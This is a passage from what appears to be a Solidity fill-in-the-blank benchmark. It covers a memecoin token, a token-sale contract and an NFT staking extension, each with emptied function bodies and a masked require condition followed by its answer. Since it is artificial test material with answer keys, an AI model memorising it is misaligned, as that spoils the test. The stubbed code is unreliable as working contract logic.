function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract TUSK is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private addrrExcIude;
mapping (address => bool) public aMakerV2sPair;
mapping(address => uint256) private _prevTnxTimestamps;
mapping (address => bool) public _isSus;
address payable private _taxAddress;
uint256 initialBlock;
uint256 private _iBuyT=250;
uint256 private _mBuyT=100;
uint256 private _iSellT=250;
uint256 private _mSellT=100;
uint256 private _fBuyT=5;
uint256 private _fSellT=5;
uint256 private _mBuyTAt=20;
uint256 private _rBuyTAt=30;
uint256 private _mSellTAt=20;
uint256 private _rSellTAt=30;
uint256 private _noSwapingBefore=30;
uint256 private _cBuysCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotaI = 1000000000 * 10**_decimals;
string private constant _name = unicode"Elon Tusk";
string private constant _symbol = unicode"TUSK";
uint256 public _perTnxLimit = 10000000 * 10**_decimals;
uint256 public _perWalletsLimit = 10000000 * 10**_decimals;
uint256 public _taxSwapThresLimit= 10000 * 10**_decimals;
uint256 public _taxSwapLimit= 60000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool public _rescueSwitch = false;
bool public _startTrade;
bool private _delayPerTnx = true;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxLimitUpdated(uint _perTnxLimit);
modifier lockTheSwap {
}
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function aMMakerV2sPair(address addr) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function isContract(address account) private view returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function addToSus(address[] calldata addresses) external onlyOwner {
}
function isRescueEnable(bool _status) external onlyOwner {
}
function addressExclude(address addr, bool exempt) external onlyOwner {
}
function _delayPerTnxM(bool _status) external onlyOwner {
}
function _isDustETH() public {
}
function _isDustERC20(address _tokenAddr, uint _amount) public {
}
function _setFsOnBS(uint256 __fBuyT, uint256 __fSellT) external onlyOwner {
}
function removeFromSus(address account) external onlyOwner {
}
function removeFromSuswallets(address[] calldata addresses) public onlyOwner(){
}
function _islimitless() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function startLiveTrade() external onlyOwner() {
require(<FILL_ME>)
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotaI);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
aMakerV2sPair[address(uniswapV2Pair)] = true;
addrrExcIude[address(uniswapV2Pair)] = true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
swapEnabled = true;
_startTrade = true;
initialBlock = block.number;
}
receive() external payable {}
}
| !_startTrade,"trading is already open" | 417,889 | !_startTrade |
"Error: not listed token" | // SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract HedgepieFounderToken is ERC20, Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
struct PayTokenInfo {
address chainlinkPriceFeed; // address of chainlink price feed
bool status; // listed status
}
// max supply
uint256 public maxSupply = 5_000_000 ether; // 5 million
// HPFT sale price in usd with 8 decimal
uint256 public salePrice = 50_000_000; // $0.5
// treasury address
address public treasury;
// payToken => PayTokenInfo
mapping(address => PayTokenInfo) public payTokenList;
event Purchased(address indexed buyer, uint256 amount, address payToken);
/**
* @notice Constructor
* @param _treasury address of treasury
*/
constructor(address _treasury) ERC20("Hedgepie Founder Token", "HPFT") {
}
/**
* @notice Add pay token to list by owner
* @param _payToken address of pay token
* @param _chainLinkPriceFeed address of chainlink price feed of pay token
*/
function addPayToken(address _payToken, address _chainLinkPriceFeed) public onlyOwner {
}
/**
* @notice Remaining amount of Hedgepie founder token can be purchased
*/
function availableCanPurchase() public view returns (uint256) {
}
/**
* @notice Get amount of pay token to purchase HPFT
* @param _amount amount of HPFT to purchase
* @param _payToken address of pay token
*/
function getPayTokenAmountFromSaleToken(uint256 _amount, address _payToken) public view returns (uint256) {
}
/**
* @notice Get amount of HPFT token from pay token
* @param _amount amount of pay token
* @param _payToken address of pay token
*/
function getSaleTokenAmountFromPayToken(uint256 _amount, address _payToken) public view returns (uint256) {
}
/**
* @notice Purchase token
* @param _amount amount of HPFT to purchase
* @param _payToken address of pay token
*/
function purchase(uint256 _amount, address _payToken) public payable nonReentrant {
require(<FILL_ME>)
require(availableCanPurchase() >= _amount, "Error: insufficient sale token");
// get pay token amount
uint256 payTokenAmount = getPayTokenAmountFromSaleToken(_amount, _payToken);
// transfer pay token from sender to treasury
if (_payToken == address(0)) {
require(msg.value >= payTokenAmount, "Error: insufficient BNB");
(bool success, ) = payable(treasury).call{value: msg.value}("");
require(success, "Error: treasury transfer");
} else {
IERC20(_payToken).safeTransferFrom(msg.sender, treasury, payTokenAmount);
}
// mint token to sender
_mint(msg.sender, _amount);
// emit event
emit Purchased(msg.sender, _amount, _payToken);
}
receive() external payable {}
}
| payTokenList[_payToken].status,"Error: not listed token" | 417,912 | payTokenList[_payToken].status |
"Error: insufficient sale token" | // SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
contract HedgepieFounderToken is ERC20, Ownable, ReentrancyGuard {
using SafeERC20 for IERC20;
struct PayTokenInfo {
address chainlinkPriceFeed; // address of chainlink price feed
bool status; // listed status
}
// max supply
uint256 public maxSupply = 5_000_000 ether; // 5 million
// HPFT sale price in usd with 8 decimal
uint256 public salePrice = 50_000_000; // $0.5
// treasury address
address public treasury;
// payToken => PayTokenInfo
mapping(address => PayTokenInfo) public payTokenList;
event Purchased(address indexed buyer, uint256 amount, address payToken);
/**
* @notice Constructor
* @param _treasury address of treasury
*/
constructor(address _treasury) ERC20("Hedgepie Founder Token", "HPFT") {
}
/**
* @notice Add pay token to list by owner
* @param _payToken address of pay token
* @param _chainLinkPriceFeed address of chainlink price feed of pay token
*/
function addPayToken(address _payToken, address _chainLinkPriceFeed) public onlyOwner {
}
/**
* @notice Remaining amount of Hedgepie founder token can be purchased
*/
function availableCanPurchase() public view returns (uint256) {
}
/**
* @notice Get amount of pay token to purchase HPFT
* @param _amount amount of HPFT to purchase
* @param _payToken address of pay token
*/
function getPayTokenAmountFromSaleToken(uint256 _amount, address _payToken) public view returns (uint256) {
}
/**
* @notice Get amount of HPFT token from pay token
* @param _amount amount of pay token
* @param _payToken address of pay token
*/
function getSaleTokenAmountFromPayToken(uint256 _amount, address _payToken) public view returns (uint256) {
}
/**
* @notice Purchase token
* @param _amount amount of HPFT to purchase
* @param _payToken address of pay token
*/
function purchase(uint256 _amount, address _payToken) public payable nonReentrant {
require(payTokenList[_payToken].status, "Error: not listed token");
require(<FILL_ME>)
// get pay token amount
uint256 payTokenAmount = getPayTokenAmountFromSaleToken(_amount, _payToken);
// transfer pay token from sender to treasury
if (_payToken == address(0)) {
require(msg.value >= payTokenAmount, "Error: insufficient BNB");
(bool success, ) = payable(treasury).call{value: msg.value}("");
require(success, "Error: treasury transfer");
} else {
IERC20(_payToken).safeTransferFrom(msg.sender, treasury, payTokenAmount);
}
// mint token to sender
_mint(msg.sender, _amount);
// emit event
emit Purchased(msg.sender, _amount, _payToken);
}
receive() external payable {}
}
| availableCanPurchase()>=_amount,"Error: insufficient sale token" | 417,912 | availableCanPurchase()>=_amount |
"Kong already staked" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "./interfaces/IAKCCore.sol";
contract AKCCoreMultiStakeExtension is Ownable {
/**
* @dev Interfaces
*/
IAKCCore public akcCore;
IERC721 public akc;
/**
* @dev Addresses
*/
address public manager;
/**
* @dev Staking Logic
*/
/// @dev Pack owner and spec in single uint256 to save gas
/// - first 160 bits is address
/// - last 96 bits is spec
mapping(uint256 => uint256) public kongToStaker;
/// @dev Save staking data in a single uint256
/// - first 64 bits are the timestamp
/// - second 64 bits are the amount
/// - third 128 bits are the pending bonus
mapping(address => mapping(uint256 => uint256)) public userToStakeData;
/// @dev Denomination is in thousands
mapping(uint256 => uint256) public stakeAmountToBonus;
/// @dev Number to use for bonus when
/// staked amount is greater than this number.
uint256 public stakeCap = 6;
uint256 public capsuleRate = 2 ether;
uint256 public maxCapsules = 20;
mapping(address => mapping(uint256 => uint256)) public userToTotalBonus;
/**
* @dev Modifiers
*/
modifier onlyManager() {
}
constructor(
address _akcCore,
address _akc
) {
}
/** === Stake Logic === */
function _getNakedRewardBySpec(address staker, uint256 targetSpec, uint256 timestamp)
internal
view
returns (uint256) {
}
/**
* @dev Get bonus from last stake / claim
* to block.timestamp for spec based on staked amount.
*/
function _getBonus(address staker, uint256 spec)
internal
view
returns (uint256) {
}
function addToBonus(address staker, uint256 spec, uint256 bonus)
external
onlyManager {
}
/**
* @dev Returns pending bonus
* and resets stake data with current time
* and zero bonus.
*/
function liquidateBonus(address staker, uint256 spec)
external
onlyManager
returns (uint256) {
}
/**
* @dev Stakes a new kong in a spec
* gets pending bonus based on previous amount
* and adds it to accumulated bonus
*/
function stake(address staker, uint256 spec, uint256 kong)
external
onlyManager {
require(spec < akcCore.getTribeSpecAmount() || spec == 257, "Invalid spec");
require(<FILL_ME>)
require(akcCore.getTotalTribesByspec(staker, spec) > 0 || spec == 257, "User has no items in spec");
require(akc.ownerOf(kong) == address(this), "Kong not in custody");
kongToStaker[kong] = _getKongStakeData(staker, spec);
uint256 stakeData = userToStakeData[staker][spec];
uint256 currentAmount = _getStakeAmountFromStakeData(stakeData);
uint256 accumulatedBonus = _getStakePendingBonusFromStakeData(stakeData);
if (spec == 257) {
require(currentAmount < maxCapsules, "Max capsules staked");
}
uint256 pendingBonus = stakeData == 0 ? 0 : _getBonus(staker, spec);
userToStakeData[staker][spec] = _getUpdatedStakeData(block.timestamp, currentAmount + 1, accumulatedBonus + pendingBonus);
}
/**
* @dev Unstakes a kong from a spec
* gets pending bonus based on previous amount
* and adds it to accumulated bonus
*/
function unstake(address staker, uint256 spec, uint256 kong)
external
onlyManager {
}
/** === Getters === */
// get stake data internal
function _getStakeTimeStampFromStakeData(uint256 stakeData)
internal
pure
returns (uint256) {
}
function _getStakeAmountFromStakeData(uint256 stakeData)
internal
pure
returns (uint256) {
}
function _getStakePendingBonusFromStakeData(uint256 stakeData)
internal
pure
returns (uint256) {
}
function _getUpdatedStakeData(uint256 newTimeStamp, uint256 newAmount, uint256 newBonus)
internal
pure
returns (uint256) {
}
// get kong stake data internal
function _getAddressFromKongStakeData(uint256 kongStakeData)
internal
pure
returns (address) {
}
function _getSpecFromKongStakeData(uint256 kongStakeData)
internal
pure
returns (uint256) {
}
function _getKongStakeData(address staker, uint256 spec)
internal
pure
returns (uint256) {
}
// get stake data external
function getStakeTimeStampFromStakeData(uint256 stakeData)
external
pure
returns (uint256) {
}
function getStakeAmountFromStakeData(uint256 stakeData)
external
pure
returns (uint256) {
}
function getStakePendingBonusFromStakeData(uint256 stakeData)
external
pure
returns (uint256) {
}
// get kong stake data external
function getAddressFromKongStakeData(uint256 kongStakeData)
external
pure
returns (address) {
}
function getSpecFromKongStakeData(uint256 kongStakeData)
external
pure
returns (uint256) {
}
/** === View Bonus === */
function getNakedRewardBySpecFromCreate(address staker, uint256 targetSpec, uint256 timestamp)
public
view
returns (uint256) {
}
function getNakedRewardBySpecDisregardCreate(address staker, uint256 targetSpec, uint256 timestamp)
public
view
returns (uint256) {
}
function getBonusFromTimestamp(address staker, uint256 spec, uint256 timestamp)
external
view
returns (uint256) {
}
function getBonusFromTimestampDisregardCreate(address staker, uint256 spec, uint256 timestamp)
external
view
returns (uint256) {
}
/** === View === */
function getBonus(address staker, uint256 spec)
external
view
returns(uint256) {
}
function getNakedRewardBySpec(address staker, uint256 targetSpec, uint256 timestamp)
external
view
returns (uint256) {
}
function getStakedKongsOfUserBySpec(address staker, uint256 spec)
external
view
returns (uint256[] memory) {
}
/** === Owner === */
function setAkcTribeManager(address newManager)
external
onlyOwner {
}
function setStakeAmountToBonus(uint256 stakeAmount, uint256 bonus)
external
onlyOwner {
}
function setStakeCap(uint256 newCap)
external
onlyOwner {
}
function setCapsuleRate(uint256 newRate)
external
onlyOwner {
}
function akcNFTApproveForAll(address approved, bool isApproved)
external
onlyOwner {
}
function withdrawEth(uint256 percentage, address _to)
external
onlyOwner {
}
function withdrawERC20(
uint256 percentage,
address _erc20Address,
address _to
) external onlyOwner {
}
function withdrawStuckKong(uint256 kongId, address _to) external onlyOwner {
}
}
| kongToStaker[kong]==0,"Kong already staked" | 418,073 | kongToStaker[kong]==0 |
"User has no items in spec" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "./interfaces/IAKCCore.sol";
contract AKCCoreMultiStakeExtension is Ownable {
/**
* @dev Interfaces
*/
IAKCCore public akcCore;
IERC721 public akc;
/**
* @dev Addresses
*/
address public manager;
/**
* @dev Staking Logic
*/
/// @dev Pack owner and spec in single uint256 to save gas
/// - first 160 bits is address
/// - last 96 bits is spec
mapping(uint256 => uint256) public kongToStaker;
/// @dev Save staking data in a single uint256
/// - first 64 bits are the timestamp
/// - second 64 bits are the amount
/// - third 128 bits are the pending bonus
mapping(address => mapping(uint256 => uint256)) public userToStakeData;
/// @dev Denomination is in thousands
mapping(uint256 => uint256) public stakeAmountToBonus;
/// @dev Number to use for bonus when
/// staked amount is greater than this number.
uint256 public stakeCap = 6;
uint256 public capsuleRate = 2 ether;
uint256 public maxCapsules = 20;
mapping(address => mapping(uint256 => uint256)) public userToTotalBonus;
/**
* @dev Modifiers
*/
modifier onlyManager() {
}
constructor(
address _akcCore,
address _akc
) {
}
/** === Stake Logic === */
function _getNakedRewardBySpec(address staker, uint256 targetSpec, uint256 timestamp)
internal
view
returns (uint256) {
}
/**
* @dev Get bonus from last stake / claim
* to block.timestamp for spec based on staked amount.
*/
function _getBonus(address staker, uint256 spec)
internal
view
returns (uint256) {
}
function addToBonus(address staker, uint256 spec, uint256 bonus)
external
onlyManager {
}
/**
* @dev Returns pending bonus
* and resets stake data with current time
* and zero bonus.
*/
function liquidateBonus(address staker, uint256 spec)
external
onlyManager
returns (uint256) {
}
/**
* @dev Stakes a new kong in a spec
* gets pending bonus based on previous amount
* and adds it to accumulated bonus
*/
function stake(address staker, uint256 spec, uint256 kong)
external
onlyManager {
require(spec < akcCore.getTribeSpecAmount() || spec == 257, "Invalid spec");
require(kongToStaker[kong] == 0, "Kong already staked");
require(<FILL_ME>)
require(akc.ownerOf(kong) == address(this), "Kong not in custody");
kongToStaker[kong] = _getKongStakeData(staker, spec);
uint256 stakeData = userToStakeData[staker][spec];
uint256 currentAmount = _getStakeAmountFromStakeData(stakeData);
uint256 accumulatedBonus = _getStakePendingBonusFromStakeData(stakeData);
if (spec == 257) {
require(currentAmount < maxCapsules, "Max capsules staked");
}
uint256 pendingBonus = stakeData == 0 ? 0 : _getBonus(staker, spec);
userToStakeData[staker][spec] = _getUpdatedStakeData(block.timestamp, currentAmount + 1, accumulatedBonus + pendingBonus);
}
/**
* @dev Unstakes a kong from a spec
* gets pending bonus based on previous amount
* and adds it to accumulated bonus
*/
function unstake(address staker, uint256 spec, uint256 kong)
external
onlyManager {
}
/** === Getters === */
// get stake data internal
function _getStakeTimeStampFromStakeData(uint256 stakeData)
internal
pure
returns (uint256) {
}
function _getStakeAmountFromStakeData(uint256 stakeData)
internal
pure
returns (uint256) {
}
function _getStakePendingBonusFromStakeData(uint256 stakeData)
internal
pure
returns (uint256) {
}
function _getUpdatedStakeData(uint256 newTimeStamp, uint256 newAmount, uint256 newBonus)
internal
pure
returns (uint256) {
}
// get kong stake data internal
function _getAddressFromKongStakeData(uint256 kongStakeData)
internal
pure
returns (address) {
}
function _getSpecFromKongStakeData(uint256 kongStakeData)
internal
pure
returns (uint256) {
}
function _getKongStakeData(address staker, uint256 spec)
internal
pure
returns (uint256) {
}
// get stake data external
function getStakeTimeStampFromStakeData(uint256 stakeData)
external
pure
returns (uint256) {
}
function getStakeAmountFromStakeData(uint256 stakeData)
external
pure
returns (uint256) {
}
function getStakePendingBonusFromStakeData(uint256 stakeData)
external
pure
returns (uint256) {
}
// get kong stake data external
function getAddressFromKongStakeData(uint256 kongStakeData)
external
pure
returns (address) {
}
function getSpecFromKongStakeData(uint256 kongStakeData)
external
pure
returns (uint256) {
}
/** === View Bonus === */
function getNakedRewardBySpecFromCreate(address staker, uint256 targetSpec, uint256 timestamp)
public
view
returns (uint256) {
}
function getNakedRewardBySpecDisregardCreate(address staker, uint256 targetSpec, uint256 timestamp)
public
view
returns (uint256) {
}
function getBonusFromTimestamp(address staker, uint256 spec, uint256 timestamp)
external
view
returns (uint256) {
}
function getBonusFromTimestampDisregardCreate(address staker, uint256 spec, uint256 timestamp)
external
view
returns (uint256) {
}
/** === View === */
function getBonus(address staker, uint256 spec)
external
view
returns(uint256) {
}
function getNakedRewardBySpec(address staker, uint256 targetSpec, uint256 timestamp)
external
view
returns (uint256) {
}
function getStakedKongsOfUserBySpec(address staker, uint256 spec)
external
view
returns (uint256[] memory) {
}
/** === Owner === */
function setAkcTribeManager(address newManager)
external
onlyOwner {
}
function setStakeAmountToBonus(uint256 stakeAmount, uint256 bonus)
external
onlyOwner {
}
function setStakeCap(uint256 newCap)
external
onlyOwner {
}
function setCapsuleRate(uint256 newRate)
external
onlyOwner {
}
function akcNFTApproveForAll(address approved, bool isApproved)
external
onlyOwner {
}
function withdrawEth(uint256 percentage, address _to)
external
onlyOwner {
}
function withdrawERC20(
uint256 percentage,
address _erc20Address,
address _to
) external onlyOwner {
}
function withdrawStuckKong(uint256 kongId, address _to) external onlyOwner {
}
}
| akcCore.getTotalTribesByspec(staker,spec)>0||spec==257,"User has no items in spec" | 418,073 | akcCore.getTotalTribesByspec(staker,spec)>0||spec==257 |
"Kong not in custody" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "./interfaces/IAKCCore.sol";
contract AKCCoreMultiStakeExtension is Ownable {
/**
* @dev Interfaces
*/
IAKCCore public akcCore;
IERC721 public akc;
/**
* @dev Addresses
*/
address public manager;
/**
* @dev Staking Logic
*/
/// @dev Pack owner and spec in single uint256 to save gas
/// - first 160 bits is address
/// - last 96 bits is spec
mapping(uint256 => uint256) public kongToStaker;
/// @dev Save staking data in a single uint256
/// - first 64 bits are the timestamp
/// - second 64 bits are the amount
/// - third 128 bits are the pending bonus
mapping(address => mapping(uint256 => uint256)) public userToStakeData;
/// @dev Denomination is in thousands
mapping(uint256 => uint256) public stakeAmountToBonus;
/// @dev Number to use for bonus when
/// staked amount is greater than this number.
uint256 public stakeCap = 6;
uint256 public capsuleRate = 2 ether;
uint256 public maxCapsules = 20;
mapping(address => mapping(uint256 => uint256)) public userToTotalBonus;
/**
* @dev Modifiers
*/
modifier onlyManager() {
}
constructor(
address _akcCore,
address _akc
) {
}
/** === Stake Logic === */
function _getNakedRewardBySpec(address staker, uint256 targetSpec, uint256 timestamp)
internal
view
returns (uint256) {
}
/**
* @dev Get bonus from last stake / claim
* to block.timestamp for spec based on staked amount.
*/
function _getBonus(address staker, uint256 spec)
internal
view
returns (uint256) {
}
function addToBonus(address staker, uint256 spec, uint256 bonus)
external
onlyManager {
}
/**
* @dev Returns pending bonus
* and resets stake data with current time
* and zero bonus.
*/
function liquidateBonus(address staker, uint256 spec)
external
onlyManager
returns (uint256) {
}
/**
* @dev Stakes a new kong in a spec
* gets pending bonus based on previous amount
* and adds it to accumulated bonus
*/
function stake(address staker, uint256 spec, uint256 kong)
external
onlyManager {
require(spec < akcCore.getTribeSpecAmount() || spec == 257, "Invalid spec");
require(kongToStaker[kong] == 0, "Kong already staked");
require(akcCore.getTotalTribesByspec(staker, spec) > 0 || spec == 257, "User has no items in spec");
require(<FILL_ME>)
kongToStaker[kong] = _getKongStakeData(staker, spec);
uint256 stakeData = userToStakeData[staker][spec];
uint256 currentAmount = _getStakeAmountFromStakeData(stakeData);
uint256 accumulatedBonus = _getStakePendingBonusFromStakeData(stakeData);
if (spec == 257) {
require(currentAmount < maxCapsules, "Max capsules staked");
}
uint256 pendingBonus = stakeData == 0 ? 0 : _getBonus(staker, spec);
userToStakeData[staker][spec] = _getUpdatedStakeData(block.timestamp, currentAmount + 1, accumulatedBonus + pendingBonus);
}
/**
* @dev Unstakes a kong from a spec
* gets pending bonus based on previous amount
* and adds it to accumulated bonus
*/
function unstake(address staker, uint256 spec, uint256 kong)
external
onlyManager {
}
/** === Getters === */
// get stake data internal
function _getStakeTimeStampFromStakeData(uint256 stakeData)
internal
pure
returns (uint256) {
}
function _getStakeAmountFromStakeData(uint256 stakeData)
internal
pure
returns (uint256) {
}
function _getStakePendingBonusFromStakeData(uint256 stakeData)
internal
pure
returns (uint256) {
}
function _getUpdatedStakeData(uint256 newTimeStamp, uint256 newAmount, uint256 newBonus)
internal
pure
returns (uint256) {
}
// get kong stake data internal
function _getAddressFromKongStakeData(uint256 kongStakeData)
internal
pure
returns (address) {
}
function _getSpecFromKongStakeData(uint256 kongStakeData)
internal
pure
returns (uint256) {
}
function _getKongStakeData(address staker, uint256 spec)
internal
pure
returns (uint256) {
}
// get stake data external
function getStakeTimeStampFromStakeData(uint256 stakeData)
external
pure
returns (uint256) {
}
function getStakeAmountFromStakeData(uint256 stakeData)
external
pure
returns (uint256) {
}
function getStakePendingBonusFromStakeData(uint256 stakeData)
external
pure
returns (uint256) {
}
// get kong stake data external
function getAddressFromKongStakeData(uint256 kongStakeData)
external
pure
returns (address) {
}
function getSpecFromKongStakeData(uint256 kongStakeData)
external
pure
returns (uint256) {
}
/** === View Bonus === */
function getNakedRewardBySpecFromCreate(address staker, uint256 targetSpec, uint256 timestamp)
public
view
returns (uint256) {
}
function getNakedRewardBySpecDisregardCreate(address staker, uint256 targetSpec, uint256 timestamp)
public
view
returns (uint256) {
}
function getBonusFromTimestamp(address staker, uint256 spec, uint256 timestamp)
external
view
returns (uint256) {
}
function getBonusFromTimestampDisregardCreate(address staker, uint256 spec, uint256 timestamp)
external
view
returns (uint256) {
}
/** === View === */
function getBonus(address staker, uint256 spec)
external
view
returns(uint256) {
}
function getNakedRewardBySpec(address staker, uint256 targetSpec, uint256 timestamp)
external
view
returns (uint256) {
}
function getStakedKongsOfUserBySpec(address staker, uint256 spec)
external
view
returns (uint256[] memory) {
}
/** === Owner === */
function setAkcTribeManager(address newManager)
external
onlyOwner {
}
function setStakeAmountToBonus(uint256 stakeAmount, uint256 bonus)
external
onlyOwner {
}
function setStakeCap(uint256 newCap)
external
onlyOwner {
}
function setCapsuleRate(uint256 newRate)
external
onlyOwner {
}
function akcNFTApproveForAll(address approved, bool isApproved)
external
onlyOwner {
}
function withdrawEth(uint256 percentage, address _to)
external
onlyOwner {
}
function withdrawERC20(
uint256 percentage,
address _erc20Address,
address _to
) external onlyOwner {
}
function withdrawStuckKong(uint256 kongId, address _to) external onlyOwner {
}
}
| akc.ownerOf(kong)==address(this),"Kong not in custody" | 418,073 | akc.ownerOf(kong)==address(this) |
"Kong not transfered to staker" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "./interfaces/IAKCCore.sol";
contract AKCCoreMultiStakeExtension is Ownable {
/**
* @dev Interfaces
*/
IAKCCore public akcCore;
IERC721 public akc;
/**
* @dev Addresses
*/
address public manager;
/**
* @dev Staking Logic
*/
/// @dev Pack owner and spec in single uint256 to save gas
/// - first 160 bits is address
/// - last 96 bits is spec
mapping(uint256 => uint256) public kongToStaker;
/// @dev Save staking data in a single uint256
/// - first 64 bits are the timestamp
/// - second 64 bits are the amount
/// - third 128 bits are the pending bonus
mapping(address => mapping(uint256 => uint256)) public userToStakeData;
/// @dev Denomination is in thousands
mapping(uint256 => uint256) public stakeAmountToBonus;
/// @dev Number to use for bonus when
/// staked amount is greater than this number.
uint256 public stakeCap = 6;
uint256 public capsuleRate = 2 ether;
uint256 public maxCapsules = 20;
mapping(address => mapping(uint256 => uint256)) public userToTotalBonus;
/**
* @dev Modifiers
*/
modifier onlyManager() {
}
constructor(
address _akcCore,
address _akc
) {
}
/** === Stake Logic === */
function _getNakedRewardBySpec(address staker, uint256 targetSpec, uint256 timestamp)
internal
view
returns (uint256) {
}
/**
* @dev Get bonus from last stake / claim
* to block.timestamp for spec based on staked amount.
*/
function _getBonus(address staker, uint256 spec)
internal
view
returns (uint256) {
}
function addToBonus(address staker, uint256 spec, uint256 bonus)
external
onlyManager {
}
/**
* @dev Returns pending bonus
* and resets stake data with current time
* and zero bonus.
*/
function liquidateBonus(address staker, uint256 spec)
external
onlyManager
returns (uint256) {
}
/**
* @dev Stakes a new kong in a spec
* gets pending bonus based on previous amount
* and adds it to accumulated bonus
*/
function stake(address staker, uint256 spec, uint256 kong)
external
onlyManager {
}
/**
* @dev Unstakes a kong from a spec
* gets pending bonus based on previous amount
* and adds it to accumulated bonus
*/
function unstake(address staker, uint256 spec, uint256 kong)
external
onlyManager {
uint256 kongStakeData = kongToStaker[kong];
address kongStakeStaker = _getAddressFromKongStakeData(kongStakeData);
uint256 kongStakeSpec = _getSpecFromKongStakeData(kongStakeData);
require(kongStakeStaker == staker, "Kong not owned by staker");
require(kongStakeSpec == spec, "Kong is not staked in supplied spec");
require(<FILL_ME>)
delete kongToStaker[kong];
uint256 stakeData = userToStakeData[staker][spec];
uint256 currentAmount = _getStakeAmountFromStakeData(stakeData);
uint256 accumulatedBonus = _getStakePendingBonusFromStakeData(stakeData);
uint256 pendingBonus = _getBonus(staker, spec);
userToStakeData[staker][spec] = _getUpdatedStakeData(block.timestamp, currentAmount - 1, accumulatedBonus + pendingBonus);
}
/** === Getters === */
// get stake data internal
function _getStakeTimeStampFromStakeData(uint256 stakeData)
internal
pure
returns (uint256) {
}
function _getStakeAmountFromStakeData(uint256 stakeData)
internal
pure
returns (uint256) {
}
function _getStakePendingBonusFromStakeData(uint256 stakeData)
internal
pure
returns (uint256) {
}
function _getUpdatedStakeData(uint256 newTimeStamp, uint256 newAmount, uint256 newBonus)
internal
pure
returns (uint256) {
}
// get kong stake data internal
function _getAddressFromKongStakeData(uint256 kongStakeData)
internal
pure
returns (address) {
}
function _getSpecFromKongStakeData(uint256 kongStakeData)
internal
pure
returns (uint256) {
}
function _getKongStakeData(address staker, uint256 spec)
internal
pure
returns (uint256) {
}
// get stake data external
function getStakeTimeStampFromStakeData(uint256 stakeData)
external
pure
returns (uint256) {
}
function getStakeAmountFromStakeData(uint256 stakeData)
external
pure
returns (uint256) {
}
function getStakePendingBonusFromStakeData(uint256 stakeData)
external
pure
returns (uint256) {
}
// get kong stake data external
function getAddressFromKongStakeData(uint256 kongStakeData)
external
pure
returns (address) {
}
function getSpecFromKongStakeData(uint256 kongStakeData)
external
pure
returns (uint256) {
}
/** === View Bonus === */
